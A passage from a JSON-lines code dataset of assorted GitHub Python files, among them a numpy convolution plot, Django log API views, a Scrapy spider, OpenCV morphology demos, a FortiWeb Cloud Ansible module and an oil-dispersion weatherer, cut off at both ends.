print(\"YES\")\n else:\n print(\"NO\")\n\n\na=int(input())\nb=int(input())\ncheck_zero(a,b)","repo_name":"tsukuro19/codeforces","sub_path":"Exercise code/Life Without Zeros.py","file_name":"Life Without Zeros.py","file_ext":"py","file_size_in_byte":284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"44420624360","text":"import numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nfig, axs = plt.subplots(1, 1)\r\nA = -10\r\nB = 7\r\nC = -13\r\nD = 16\r\nn = np.array([i for i in range(A+C, B+D+1)])\r\nnx = np.arange(A, B+1)\r\nnh = np.arange(C, D+1)\r\n\r\ndef impulse(t,t0):\r\n return (t==t0) *1\r\ndef main():\r\n x = impulse(nx, A) + impulse(nx, B)\r\n h = impulse(nh, C) + impulse(nh, D)\r\n y1 = np.convolve(x,h)\r\n axs.stem(n, y1)\r\n axs.set_title('convolve impulse')\r\n plt.tight_layout()\r\n plt.show()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","repo_name":"Alishahidi1997/Signals-and-Systems-Course-Projects","sub_path":"CA 1/codes/6_2.py","file_name":"6_2.py","file_ext":"py","file_size_in_byte":529,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30889383578","text":"from typing import List\n\nfrom rest_framework.response import Response\n\nfrom paasng.infras.accounts.permissions.constants import SiteAction\nfrom paasng.infras.accounts.permissions.global_site import site_perm_required\nfrom paasng.accessories.log.serializers import LogQueryParamsSLZ\nfrom paasng.accessories.log.views.logs import ModuleStdoutLogAPIView, ModuleStructuredLogAPIView\nfrom paasng.utils.datetime import convert_timestamp_to_str\n\n\nclass V1StdoutLogAPIView(ModuleStdoutLogAPIView):\n # 该接口已注册到 APIGW\n # 网关名称 search_standard_log_with_post\n # 请勿随意修改该接口协议\n def query_logs_scroll(self, request, code, module_name, environment=None):\n response = super().query_logs_scroll(request, code, module_name, environment)\n data = response.data\n return Response(\n {\n \"code\": 0,\n \"data\": {\n \"scroll_id\": data[\"scroll_id\"],\n \"logs\": [\n # 与重构前的 StandardOutputLogLine 字段一致\n {\n \"environment\": log[\"environment\"],\n \"process_id\": log[\"process_id\"],\n \"pod_name\": log[\"pod_name\"],\n \"message\": log[\"message\"],\n \"timestamp\": convert_timestamp_to_str(log[\"timestamp\"]),\n }\n for log in data[\"logs\"]\n ],\n \"total\": data[\"total\"],\n \"dsl\": data[\"dsl\"],\n },\n }\n )\n\n # 该接口已注册到 APIGW\n # 网关名称 search_standard_log_with_get\n # 请勿随意修改该接口协议\n def query_logs_scroll_with_get(self, request, code, module_name, environment=None):\n return self.query_logs_scroll(request, code, module_name, environment=None)\n\n\nclass V1SysStructuredLogAPIView(ModuleStructuredLogAPIView):\n permission_classes: List = []\n\n # 该接口已注册到 APIGW\n # 网关名称 search_structured_log\n # 请勿随意修改该接口协议\n @site_perm_required(SiteAction.SYSAPI_READ_APPLICATIONS)\n def query_logs(self, request, code, module_name, environment=None):\n slz = LogQueryParamsSLZ(data=request.query_params)\n slz.is_valid(raise_exception=True)\n query_params = slz.validated_data\n offset = query_params[\"offset\"]\n limit = query_params[\"limit\"]\n response = super().query_logs(request, code, module_name, environment)\n data = response.data\n return Response(\n {\n \"code\": 0,\n \"data\": {\n \"logs\": [\n # 与重构前的 LogLine 字段一致\n {\n \"region\": log[\"region\"],\n \"app_code\": log[\"app_code\"],\n \"environment\": log[\"environment\"],\n \"process_id\": log[\"process_id\"],\n \"stream\": log[\"stream\"],\n \"message\": log[\"message\"],\n \"detail\": log[\"detail\"],\n \"ts\": convert_timestamp_to_str(log[\"timestamp\"]),\n }\n for log in data[\"logs\"]\n ],\n \"page\": {\n \"page\": query_params.get(\"page\") or (offset / limit + 1),\n \"page_size\": limit,\n \"total\": data[\"total\"],\n },\n \"dsl\": data[\"dsl\"],\n },\n }\n )\n\n @site_perm_required(SiteAction.SYSAPI_READ_APPLICATIONS)\n def query_logs_get(self, request, code, module_name, environment=None):\n return self.query_logs(request, code, module_name, environment)\n","repo_name":"TencentBlueKing/blueking-paas","sub_path":"apiserver/paasng/paasng/accessories/log/views/legacy.py","file_name":"legacy.py","file_ext":"py","file_size_in_byte":3901,"program_lang":"python","lang":"en","doc_type":"code","stars":134,"dataset":"github-code","pt":"32"} +{"seq_id":"20535283237","text":"import json\nfrom scrapy.spider import CrawlSpider, Rule\nfrom scrapy.linkextractors import LinkExtractor\nfrom product_spiders.items import Product, ProductLoaderWithoutSpaces as ProductLoader\n\n\nclass FeneticWellbeing(CrawlSpider):\n name = 'betterlife_healthcare-feneticwellbeing'\n allowed_domains = ['feneticwellbeing.com']\n start_urls = ['http://www.feneticwellbeing.com/']\n\n categories = LinkExtractor(allow='/product-category/')\n products = LinkExtractor(allow='/shop/')\n \n rules = (Rule(categories),\n Rule(products, callback='parse_product'))\n \n def parse_product(self, response):\n loader = ProductLoader(Product(), response=response)\n identifier = response.xpath('//input[@name=\"product_id\"]/@value').extract_first() or response.xpath('//input[@name=\"add-to-cart\"]/@value').extract_first()\n if not identifier:\n loader.add_value('stock', 0)\n identifier = response.xpath('//div[@itemtype=\"http://schema.org/Product\"]/@id').re_first('product-(\\d+)')\n loader.add_value('identifier', identifier)\n loader.add_css('sku', 'span.sku::text')\n loader.add_value('url', response.url)\n loader.add_xpath('name', '//h1[@itemprop=\"name\"]/text()')\n loader.add_css('price', '.product-price-exvat span.amount::text')\n loader.add_css('price', '.product-price span.amount::text')\n category = response.xpath('//span[@class=\"posted_in\"][contains(., \"Categories:\")]/a/text()').extract_first()\n loader.add_value('category', category)\n loader.add_css('image_url', 'div.single-product-main-image a::attr(href)')\n brand = response.xpath('//span[@class=\"posted_in\"][contains(., \"Brands:\")]/a/text()').extract_first()\n loader.add_value('brand', brand)\n item = loader.load_item()\n \n variations = response.xpath('//@data-product_variations').extract_first()\n if not variations:\n yield item\n return\n variations = json.loads(variations)\n for variant in variations:\n loader = ProductLoader(Product(), response=response)\n loader.add_value(None, item)\n loader.replace_value('identifier', variant['variation_id'])\n loader.replace_value('sku', variant['sku'])\n loader.replace_value('price', variant['display_price'])\n if variant['image_link']:\n loader.replace_value('image_url', variant['image_link'])\n loader.add_value('name', variant['attributes'].values())\n yield loader.load_item()","repo_name":"Godsoo/scraping","sub_path":"e-commerce/CompetitorMonitor/product_spiders/spiders/betterlife_healthcare/feneticwellbeing.py","file_name":"feneticwellbeing.py","file_ext":"py","file_size_in_byte":2575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"13880053766","text":"import random\nimport matplotlib.pyplot as plt\nimport numpy as np\nfrom timeit import timeit\n\nif __name__ == '__main__':\n\n def list_test():\n walk = []\n for _ in range(1000000):\n walk.append(random.normalvariate(0, 1))\n\n\n def ndarray_test():\n np.random.normal(loc=0.0, scale=1.0, size=1000000)\n\n\n # t1 = timeit('list_test()', 'from __main__ import list_test', number=1)\n # t2 = timeit('ndarray_test()', 'from __main__ import ndarray_test', number=1)\n #\n # print(\"list:{}\".format(t1))\n # print(\"ndarray:{}\".format(t2))\n\n # ======================================================================================\n\n stock_data = np.random.normal(loc=10.0, scale=1.0, size=1000)\n stock_data = np.around(stock_data, 2)\n # print(\"stock_data:\\n {}\".format(stock_data))\n\n # pct_change = np.around((stock_data - np.roll(stock_data, 1)) / np.roll(stock_data, 1), 2)\n # pct_change = (stock_data - np.roll(stock_data, 1)) / np.roll(stock_data, 1)\n # pct_change[0] = np.nan\n # print(\"pct_change:\\n {}\".format(pct_change))\n\n stock_data = np.random.normal(loc=10.0, scale=5.0, size=10)\n yes_data = np.random.normal(loc=10.0, scale=5.0, size=10)\n print(stock_data)\n print(yes_data)\n print(stock_data - yes_data)\n\n","repo_name":"Eric18018/pythonProject","sub_path":"08_Numpy.py","file_name":"08_Numpy.py","file_ext":"py","file_size_in_byte":1292,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"71846576412","text":"# encoding: utf-8\r\n\r\n\"\"\"\r\nExplore the 14 Abnormal classes' Labels and Visualize the Distribution.\r\n\r\n\"\"\"\r\n\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom matplotlib import pyplot as plt\r\n\r\n# Generate Histogram of the Concurrent Labels Count\r\ndef Concurrent_Count_Hist():\r\n df = pd.read_csv('/gdrive/My Drive/CS598-Project-Data/Data_Entry_2017_v2020.csv')\r\n\r\n label_df = pd.DataFrame({'Label_List': [string.split('|') for string in df['Finding Labels'].values.tolist()] })\r\n label_df['Concurrent Label Number'] = [len(_list) for _list in label_df['Label_List'].values.tolist()]\r\n \r\n ax = sns.countplot(x='Concurrent Label Number', data=label_df)\r\n ax.set_title('Histogram of Images\\' Concurrent Labels Count')\r\n\r\n for p in ax.patches:\r\n ax.annotate('{:}'.format(p.get_height()), (p.get_x()+0.3, p.get_height()+70))\r\n\r\n plt.rcParams[\"figure.figsize\"] = (15,6)\r\n\r\n# Generate Histogram of the Fourteen Labels Count\r\ndef Label_Count_Hist():\r\n df = pd.read_csv('/gdrive/My Drive/CS598-Project-Data/Data_Entry_2017_v2020.csv')\r\n\r\n label_df = pd.DataFrame({'Label_List': [string.split('|') for string in df['Finding Labels'].values.tolist()] })\r\n label_df['Concurrent Label Number'] = [len(_list) for _list in label_df['Label_List'].values.tolist()]\r\n\r\n labels = pd.DataFrame({'Label': [label for _list in label_df['Label_List'].values.tolist() for label in _list]}) \r\n\r\n ax = sns.countplot(x='Label', data=labels)\r\n ax.set_title('Histogram of Fourteen Labels Count')\r\n ax.set_xticklabels(ax.get_xticklabels(), rotation=30, ha=\"right\")\r\n\r\n for p in ax.patches:\r\n ax.annotate('{:}'.format(p.get_height()), (p.get_x()+0.1, p.get_height()+60))\r\n\r\n plt.show()\r\n\r\n print(plt.rcParams[\"figure.figsize\"])\r\n\r\n\r\nif __name__ == __main__:\r\n Label_Count_Hist()\r\n Concurrent_Count_Hist()","repo_name":"difangu/Deep-Learning-Project","sub_path":"Code/DataExploration.py","file_name":"DataExploration.py","file_ext":"py","file_size_in_byte":1843,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"24799715941","text":"from inspect import getargspec\n\nfrom django.utils.functional import curry\nfrom django import template as django_template\n\n\nclass Library(django_template.Library):\n def context_tag(self, func):\n params, xx, xxx, defaults = getargspec(func)\n\n class ContextNode(django_template.Node):\n def __init__(self, vars_to_resolve):\n self.vars_to_resolve = map(django_template.Variable, vars_to_resolve)\n\n def render(self, context):\n resolved_vars = [var.resolve(context) for var in self.vars_to_resolve]\n return func(context, *resolved_vars)\n\n compile_func = curry(django_template.generic_tag_compiler,\n params[1:],\n defaults[1:] if defaults else None,\n getattr(func, \"_decorated_function\", func).__name__,\n ContextNode)\n\n compile_func.__doc__ = func.__doc__\n\n self.tag(getattr(func, \"_decorated_function\", func).__name__, compile_func)\n return func\n\n","repo_name":"canvasnetworks/canvas","sub_path":"website/canvas/template.py","file_name":"template.py","file_ext":"py","file_size_in_byte":1063,"program_lang":"python","lang":"en","doc_type":"code","stars":57,"dataset":"github-code","pt":"32"} +{"seq_id":"11903409398","text":"def insertion_sort(list):\n ind_length = range(1, len(list)) # get the length as a list, so we can iterate through the unsorted list\n for i in ind_length:\n value = list[i] # grab our value to work with\n\n while list[i - 1] > value and i > 0: # while item to left of our value, is greater than the value\n list[i], list[i - 1] = list[i - 1], list[i] # swap the values in the list\n i = i - 1\n\n return list\n\n\ndef insertion_sort_slightly_cleaner(list):\n for i in range(1, len(list)):\n value = list[i]\n while list[i - 1] > value and i > 0:\n list[i], list[i - 1] = list[i - 1], list[i] # swap the values in the list\n i = i - 1\n\n return list\n","repo_name":"MotoBenny/Python_algorithms","sub_path":"sorts/insertion-sort/insertion_sort/insertion_sort.py","file_name":"insertion_sort.py","file_ext":"py","file_size_in_byte":724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"7551468224","text":"from operator import mul\nimport functools\n# with recursion and multiplication function from functools\ndef persistence(n):\n return 0 if n<10 else persistence(reduce(mul,[int(i) for i in str(n)],1))+1\n\n# basic code\ndef persistence1(n):\n n = str(n)\n count = 0\n while len(n) > 1:\n p = 1\n for i in n:\n p *= int(i)\n n = str(p)\n count += 1\n return count\n","repo_name":"december-man/python_stuff","sub_path":"Codewars/recursion.py","file_name":"recursion.py","file_ext":"py","file_size_in_byte":401,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"1481399736","text":"# -*- encoding: utf-8 -*-\n'''\n@Time : 2018-3-28\n@Author : EvilRecluse\n@Contact : https://github.com/RecluseXU\n@Desc : \n'''\n\n# here put the import lib\nimport cv2 as cv\nimport numpy as np\n\n\ndef open_demo(image):\n print(image.shape)\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n ret, binary = cv.threshold(gray, 0, 255, cv.THRESH_BINARY | cv.THRESH_OTSU)\n cv.imshow('binary', binary)\n\n kernel = cv.getStructuringElement(cv.MORPH_RECT, (5, 5))\n # cv.MORPH_RECT 这个东西一定程度,决定了留下来的图像的外形。\n # 有很多选项可以尝试,比如cv.MORPH_ELLIPSE就会留下圆\n # (5,5) 结构元素,这个东西决定了调整的大小。\n # 当你把这东西改成(15,1),图中的横杠可能不会消除。类似的也可以做到竖的不消除\n binary = cv.morphologyEx(binary, cv.MORPH_OPEN, kernel)\n # cv.morphologyEx 形态学操作函数\n # cv.MORPH_OPEN 具体操作\n\n cv.imshow('open result', binary)\n\n\ndef close_demo(image):\n print(image.shape)\n gray = cv.cvtColor(image, cv.COLOR_BGR2GRAY)\n ret, binary = cv.threshold(gray, 0, 255, cv.THRESH_BINARY | cv.THRESH_OTSU)\n cv.imshow('binary', binary)\n\n kernel = cv.getStructuringElement(cv.MORPH_RECT, (15, 15))\n binary = cv.morphologyEx(binary, cv.MORPH_CLOSE, kernel)\n # cv.morphologyEx 形态学操作函数\n # cv.MORPH_CLOSE 具体操作\n\n cv.imshow('close result', binary)\n\n\nsrc = cv.imread(\n 'example/0_Basic_usage_of_the_library/openCV/picture/goodmancard.jpg')\ncv.imshow('src', src)\n\nopen_demo(src)\nclose_demo(src)\n\ncv.waitKey(0)\ncv.destroyAllWindows()\n","repo_name":"RecluseXU/learning_spider","sub_path":"example/0_Basic_usage_of_the_library/openCV/20-开闭操作.py","file_name":"20-开闭操作.py","file_ext":"py","file_size_in_byte":1630,"program_lang":"python","lang":"en","doc_type":"code","stars":77,"dataset":"github-code","pt":"32"} +{"seq_id":"2035090599","text":"class UseCase:\n \"\"\"Siemanko\"\"\"\n\n def __init__(self, sheet):\n self.sheet = sheet\n self.maxcol = self.getMaxCol()\n self.maxrow = self.getMaxRow()\n\n\n def getNames(self):\n res = []\n for col in range(1, self.maxcol):\n res.append(self.sheet.cell(row=1, column=col).value)\n return res\n\n def getMaxRow(self):\n res = self.sheet.max_row\n # if the max_row is good there will not be None and you return res\n for r in range(1, self.sheet.max_row):\n # first col with Id cannot be None\n val = self.sheet.cell(row=r, column=1).value\n if (val is None):\n res = r - 1 # -1 as this is None cell\n # break as it has no sense to loop fouther\n break\n return res\n\n\n def getMaxCol(self):\n res = self.sheet.max_column\n # if the max_column is good there will not be None and you return res\n for c in range(1, self.sheet.max_column):\n # first row with names cannot be None\n val = self.sheet.cell(row=1, column=c).value\n\n if(val is None):\n res = c - 1 # -1 as this is None cell\n # break as it has no sense to loop fouther\n break\n return res\n\n def printSheet(self):\n print('Title')\n print(self.sheet.title)\n print('number of columns: ')\n print(self.maxcol)\n\n print('number of rows: ')\n print(self.maxrow)\n\n\n def getTables(self):\n # create table from the given row\n table = {}\n tables = []\n appendix = []\n for use_case in range(2, self.maxrow + 1):\n for col in range(1, self.maxcol + 1): # -1 as it is Appendix\n key = self.sheet.cell(row=1, column=col).value\n val = self.sheet.cell(row=use_case, column=col).value\n if val is None:\n val = '-'\n\n if key == 'Priority':\n if val == 1:\n val = 'MUST'\n\n if val == 2:\n val = 'SHOULD'\n\n if val == 3:\n val = 'COULD'\n\n if val == 4:\n val = 'WOULD'\n\n if key != 'Appendix':\n table[key] = val\n\n # the last is Appendix\n if key == 'Appendix':\n if val == 1:\n # table copy to create new reference to table and not the same!\n appendix.append(table.copy())\n if val != 1:\n tables.append(table.copy())\n return {'tables': tables, 'appendix': appendix}\n\n\n\n def getDescriptions(self):\n desc = {}\n # in UC - DESCRIPTION there is a sheet with categories Name and Description\n # return description for the given category \n # 1. Go row by row to get Dictionary\n for row in range(2, self.maxrow): # 1 to ommit names \n key = self.sheet.cell(row=row, column=1).value\n val = self.sheet.cell(row=row, column=2).value\n desc[key] = val\n \n # we have structure:\n # { 'BANK ACCOUNT MANAGEMENT': '...', 'ACCOUNT MANAGEMENT': ' ... ', ... }\n return desc\n\n","repo_name":"konrazem/use-case","sub_path":"classes/use_case.py","file_name":"use_case.py","file_ext":"py","file_size_in_byte":3329,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37702943756","text":"import datetime\nfrom src.accounts.models import User\nfrom src.events.models import Event\n\ndef get_teachers_photo(request):\n alluser = User.objects.all()\n teachers = []\n for u in alluser:\n if u.photo:\n teachers.append(u)\n return {'teachers_photo': teachers}\n\ndef get_first_events(request):\n now = datetime.date.today()\n events_now = Event.objects.filter(date_begin__lte=now).filter(date_end__gte=now) #проходят сейчас\n events_tomorrow = Event.objects.filter(date_begin__gt=now)[:3] #Ближайшее будущее\n return {'events_now': events_now, 'events_tomorrow': events_tomorrow}\n","repo_name":"kotlyar562/django-school-site","sub_path":"src/context_processors.py","file_name":"context_processors.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38840835278","text":"import time, sys\r\n\r\nclass humanPlayer:\r\n\tdef __init__(self, pipe):\r\n\t\tself.pipe = pipe\r\n\t\t\r\n\t\r\n\tdef makeMove(self, state):\r\n\t\tposs_moves = state.getActualPossMoves()\r\n\t\tpossMoves = state.allSeqPositions()\r\n\t\twhile not self.pipe.ready and not self.pipe.quit:\r\n\t\t\ttime.sleep(0.01)\r\n\t\tif self.pipe.quit:\r\n\t\t\tsys.exit()\r\n\t\tmove = self.pipe.move\r\n\t\tself.pipe.ready = False\r\n\t\tmove = [list(map(int, i.split(\",\"))) for i in move.split(\" \")]\r\n\t\twhile move not in possMoves:\r\n\t\t\twhile not self.pipe.ready and not self.pipe.quit:\r\n\t\t\t\ttime.sleep(0.01)\r\n\t\t\tif self.pipe.quit:\r\n\t\t\t\tsys.exit()\r\n\t\t\tmove = self.pipe.move\r\n\t\t\tself.pipe.ready = False\r\n\t\t\tmove = [list(map(int, i.split(\",\"))) for i in move.split(\" \")]\r\n\t\tm = possMoves.index(move)\r\n\t\treturn state.applyMoveChain(poss_moves[m])\r\n\r\n\r\n","repo_name":"mb03748/Neural-Network-and-Alha-Beta-Pruning-Checkers","sub_path":"humanPlayer.py","file_name":"humanPlayer.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"9187706354","text":"Largeur = 600\r\nHauteur = 800\r\n\r\n\r\ndef setup():\r\n size(Largeur, Hauteur)\r\n global posX\r\n global posY\r\n global depX\r\n global depY\r\n posX = 10 + random(Largeur - 10)\r\n posY = 10 + random(190)\r\n depX = -5 + random(5)\r\n depY = -5 + random(5)\r\n while depX == 0 or depY == 0:\r\n depX = -5 + random(5)\r\n depY = -5 + random(5)\r\n \r\n \r\ndef depEnemie(a, b, c, d):\r\n global posX\r\n global posY\r\n global depX\r\n global depY\r\n if posX < 0 or posX > Largeur - 55:\r\n depX = -depX\r\n if posY < 0 or posY > 190:\r\n depY = -depY\r\n posX = posX + depX\r\n posY = posY + depY\r\n\r\n\r\ndef draw():\r\n background(0)\r\n global posX\r\n global posY\r\n rect(posX, posY, 55, 55)\r\n depEnemie(posX, posY, 55, 55)","repo_name":"DiasEI/Pro-jet","sub_path":"D_pEnemie.pyde","file_name":"D_pEnemie.pyde","file_ext":"pyde","file_size_in_byte":768,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"11883331327","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport sys\nimport json\nfrom ansible.module_utils.basic import AnsibleModule\nfrom ansible.module_utils.connection import Connection\nfrom ansible_collections.fortinet.fortiwebcloud.plugins.module_utils.fortiwebcloud.fortiwebcloud import CloudWafAPIHandler\n\nfrom ansible_collections.fortinet.fortiwebcloud.plugins.module_utils.fortiwebcloud.app import create_app\n\nANSIBLE_METADATA = {\n 'metadata_version': '1.0',\n 'status': ['preview'],\n 'supported_by': 'Fortinet'\n}\n\nDOCUMENTATION = '''\n---\nmodule: cloudwaf_app_create\nauthor: \"Fortinet\"\nversion_added: \"2.9\"\nshort_description: \"Execute the Restful API to create the app.\"\ndescription:\n - \"This module will create an application on Fortiweb Cloud by the Restful API.\n Before using this module, you must be a Fortinet inc. customer.\"\n\noptions:\n app_name:\n description:\n - Any name you want for your app.\n required: True\n domain_name:\n description:\n - The domain name you want protected.\n required: True\n origin_server_ip:\n description:\n - The IP address of your domain server.\n required: True\n app_service:\n description:\n - The service port WAF should support.\n default: http: 80, https: 443\n required: True\n extra_domains:\n description:\n - Your domains' other names.\n default: []\n required: False\n origin_server_service:\n description:\n - The service your server provides.\n default: HTTPS\n required: False\n cdn:\n description:\n - Set to true to enable the CDN.\n default: False\n choices: [True, False]\n required: False\n continent_cdn:\n description:\n - Set to true to enbale the continent CDN.\n default: False\n choices: [True, False]\n required: False\n block:\n description:\n - Set to true to enable block mode for your app.\n default: False\n required: False\n template:\n description:\n - The template name\n - To bind a template during app creation, specify the template name.\n required: False\n'''\nEXAMPLES = '''\n\n'''\n\nRETURN = '''\nmsg:\n description: The new alias name for your domain, you should change your domain's server address to this address on the DNS.\n returned: always\n type: str\n sample: demo.example.com\n\n'''\n\n\ndef main():\n module = AnsibleModule(\n argument_spec=dict(\n app_name=dict(type='str', required=True),\n domain_name=dict(type='str', required=True),\n extra_domains=dict(type='list', require=False, default=[]),\n app_service=dict(type='dict', require=True),\n origin_server_ip=dict(type='str', required=True),\n origin_server_service=dict(type='str', required=False, default=\"HTTPS\"),\n origin_server_port=dict(type='int', required=False, default=443),\n cdn=dict(type='bool', required=False, default=False),\n continent_cdn=dict(type='bool', required=False, default=False),\n block=dict(type='bool', required=False, default=False),\n template=dict(type='str', required=False, default=\"\"),\n api_token=dict(type='str', required=False, default=\"\"),\n ),\n supports_check_mode=True\n )\n result = dict(\n changed=False,\n msg='The module was successfully executed.'\n )\n\n if module.check_mode:\n module.exit_json(**result)\n\n app_service = module.params.get(\"app_service\")\n if not app_service.get(\"http\") and not app_service.get(\"https\"):\n module.fail_json(msg=\"You must specify the http port or https port.\")\n\n if not(module.params.get('app_name') and module.params.get('domain_name') and\n module.params.get('origin_server_ip')):\n module.fail_json(msg=\"Required parameters must not be empty.\")\n\n if module._socket_path:\n connection = Connection(module._socket_path)\n api_handler = CloudWafAPIHandler(connection, token=module.params.get(\"api_token\"))\n\n else:\n module.fail_json(msg=\"Socket Path Empty! A persistent connection manager error occurred. Try again in a few moments.\")\n\n data = {\n \"app_name\": module.params['app_name'],\n \"domain\": module.params['domain_name'],\n \"extra_domains\": module.params['extra_domains'],\n \"app_service\": module.params['app_service'],\n \"server\": module.params['origin_server_ip'],\n \"backend_type\": module.params['origin_server_service'],\n \"port\": module.params['origin_server_port'],\n \"cdn\": module.params['cdn'],\n \"continent_cdn\": module.params['continent_cdn'],\n \"block\": 1 if module.params['block'] else 0,\n \"template\": module.params['template'],\n \"handler\": api_handler\n }\n try:\n res, change = create_app(data=data)\n result[\"msg\"] = json.dumps(res)\n result[\"changed\"] = change\n\n except Exception as e:\n module.fail_json(msg=\"During app creation, an error occurred:\" + str(e))\n\n module.exit_json(**result)\n\nif __name__ == '__main__':\n main()\n","repo_name":"fortinet/fortiwebcloud-ansible","sub_path":"plugins/modules/cloudwaf_app_create.py","file_name":"cloudwaf_app_create.py","file_ext":"py","file_size_in_byte":5270,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"32"} +{"seq_id":"19277710752","text":"from .db import db\n\nclass DirectMessage(db.Model):\n __tablename__ = 'DirectMessages'\n\n\n id = db.Column(db.Integer, primary_key=True)\n senderId = db.Column(db.Integer, db.ForeignKey('Users.id'), nullable=False)\n receiverId = db.Column(db.Integer, db.ForeignKey('Users.id'), nullable=False)\n message = db.Column(db.Text, nullable=False)\n viewStatus = db.Column(db.Boolean, nullable=False, default=False)\n createdAt = db.Column(db.DateTime(timezone=True), server_default=db.func.now()) #func.sysdate())\n updatedAt = db.Column(db.DateTime(timezone=True), server_default=db.func.now(), server_onupdate=db.func.now())\n\n\n\n # to_dict method to convert a dataframe into a dictionary of series or list like data type depending on orient parameter\n def to_dict(self):\n return {\n \"id\": self.id,\n \"senderId\": self.senderId,\n \"receiverId\": self.receiverId,\n \"message\": self.message,\n \"viewStatus\": self.viewStatus,\n 'createdAt': self.createdAt,\n 'updatedAt': self.updatedAt,\n }\n \n\n","repo_name":"tonyngophd/dronest","sub_path":"app/models/directmessage.py","file_name":"directmessage.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"32"} +{"seq_id":"15994964044","text":"y = int(input())\nfor i in range(y, 100000):\n i += 1\n l = str(i)\n ra = []\n for j in range(0, len(l)):\n if l[j] not in ra:\n ra.append(l[j])\n if len(ra) == len(l):\n break\n\n\ndef integersss(ra): return int(''.join(str(i) for i in ra)) # Generator exp.\n\n\nprint(integersss(ra))\n","repo_name":"mohamadlakkis/competitive-programming","sub_path":"codeforces/271A. Beautiful Year.py","file_name":"271A. Beautiful Year.py","file_ext":"py","file_size_in_byte":312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"8021147507","text":"'''\nmodel dispersion process\n'''\n\n\n\n\n\nimport numpy as np\n\nfrom gnome import constants\nfrom gnome.cy_gnome.cy_weatherers import disperse_oil\nfrom gnome.array_types import gat\n\n\nfrom .core import WeathererSchema\nfrom gnome.weatherers import Weatherer\nfrom gnome.environment.water import WaterSchema\nfrom gnome.environment.waves import WavesSchema\nfrom gnome.persist import String, SchemaNode\n\ng = constants.gravity # the gravitational constant.\n\n\nclass NaturalDispersionSchema(WeathererSchema):\n water = WaterSchema(save=True, update=True, save_reference=True)\n waves = WavesSchema(save=True, update=True, save_reference=True)\n algorithm = SchemaNode(String(),\n save=True,\n update=True,\n description='Algorithm used for dispersion')\n\nclass NaturalDispersion(Weatherer):\n _schema = NaturalDispersionSchema\n _ref_as = 'dispersion'\n _req_refs = ['waves', 'water']\n _algorithms_opts = {'D&S1988', 'Li2017'}\n\n def __init__(self,\n waves=None,\n water=None,\n algorithm='D&S1988',\n **kwargs):\n '''\n :param conditions: gnome.environment.Conditions object which contains\n things like water temperature\n :param waves: waves object for obtaining wave_height, etc at given time\n '''\n self.waves = waves\n self.water = water\n if algorithm not in self._algorithms_opts:\n raise ValueError(f'{algorithm} not valid, must be one of:{self._algorithm_opts}')\n self.algorithm = algorithm\n\n super(NaturalDispersion, self).__init__(**kwargs)\n self.array_types.update({'viscosity': gat('viscosity'),\n 'mass': gat('mass'),\n 'density': gat('density'),\n 'positions': gat('positions'),\n 'area': gat('area'),\n 'frac_water': gat('frac_water'),\n 'droplet_avg_size': gat('droplet_avg_size'),\n })\n\n def prepare_for_model_run(self, sc):\n '''\n add dispersion and sedimentation keys to mass_balance\n Assumes all spills have the same type of oil\n '''\n # create 'natural_dispersion' and 'sedimentation keys\n # if they doesn't exist\n # let's only define this the first time\n if self.on:\n super(NaturalDispersion, self).prepare_for_model_run(sc)\n sc.mass_balance['natural_dispersion'] = 0.0\n sc.mass_balance['sedimentation'] = 0.0\n\n def prepare_for_model_step(self, sc, time_step, model_time):\n '''\n Set/update arrays used by dispersion module for this timestep:\n\n '''\n super(NaturalDispersion, self).prepare_for_model_step(sc,\n time_step,\n model_time)\n\n def weather_elements(self, sc, time_step, model_time):\n '''\n weather elements over time_step\n - sets 'natural_dispersion' and 'sedimentation' in sc.mass_balance\n '''\n if not self.active:\n return\n\n if sc.num_released == 0:\n return\n\n for substance, data in sc.itersubstancedata(self.array_types):\n #print('mass', sc['mass'], data['mass'])\n #print('area', sc['area'], data['area'])\n\n if len(data['mass']) == 0:\n # substance does not contain any surface_weathering LEs\n continue\n points = data['positions']\n # from the waves module\n waves_values = self.waves.get_value(points, model_time)\n wave_height = waves_values[0]\n frac_breaking_waves = waves_values[2]\n disp_wave_energy = waves_values[3]\n\n visc_w = self.waves.water.kinematic_viscosity\n rho_w = self.waves.water.density\n\n # web has different units\n sediment = self.waves.water.get('sediment', unit='kg/m^3')\n V_entrain = constants.volume_entrained\n ka = constants.ka # oil sticking term\n\n disp = np.zeros((len(data['mass'])), dtype=np.float64)\n sed = np.zeros((len(data['mass'])), dtype=np.float64)\n droplet_avg_size = data['droplet_avg_size']\n\n # print ('dispersion: mass_components = {}'\n # .format(data['mass_components'].sum(1)))\n if self.algorithm == 'D&S1988':\n dis_fun = self.disperse_oil_DS\n elif self.algorithm == 'Li2017':\n dis_fun = self.disperse_oil_Li\n else:\n raise ValueError(f'Dispersion options {self.algorithm} are not \"D&S1988\" or \"Li2017\"')\n\n disp, 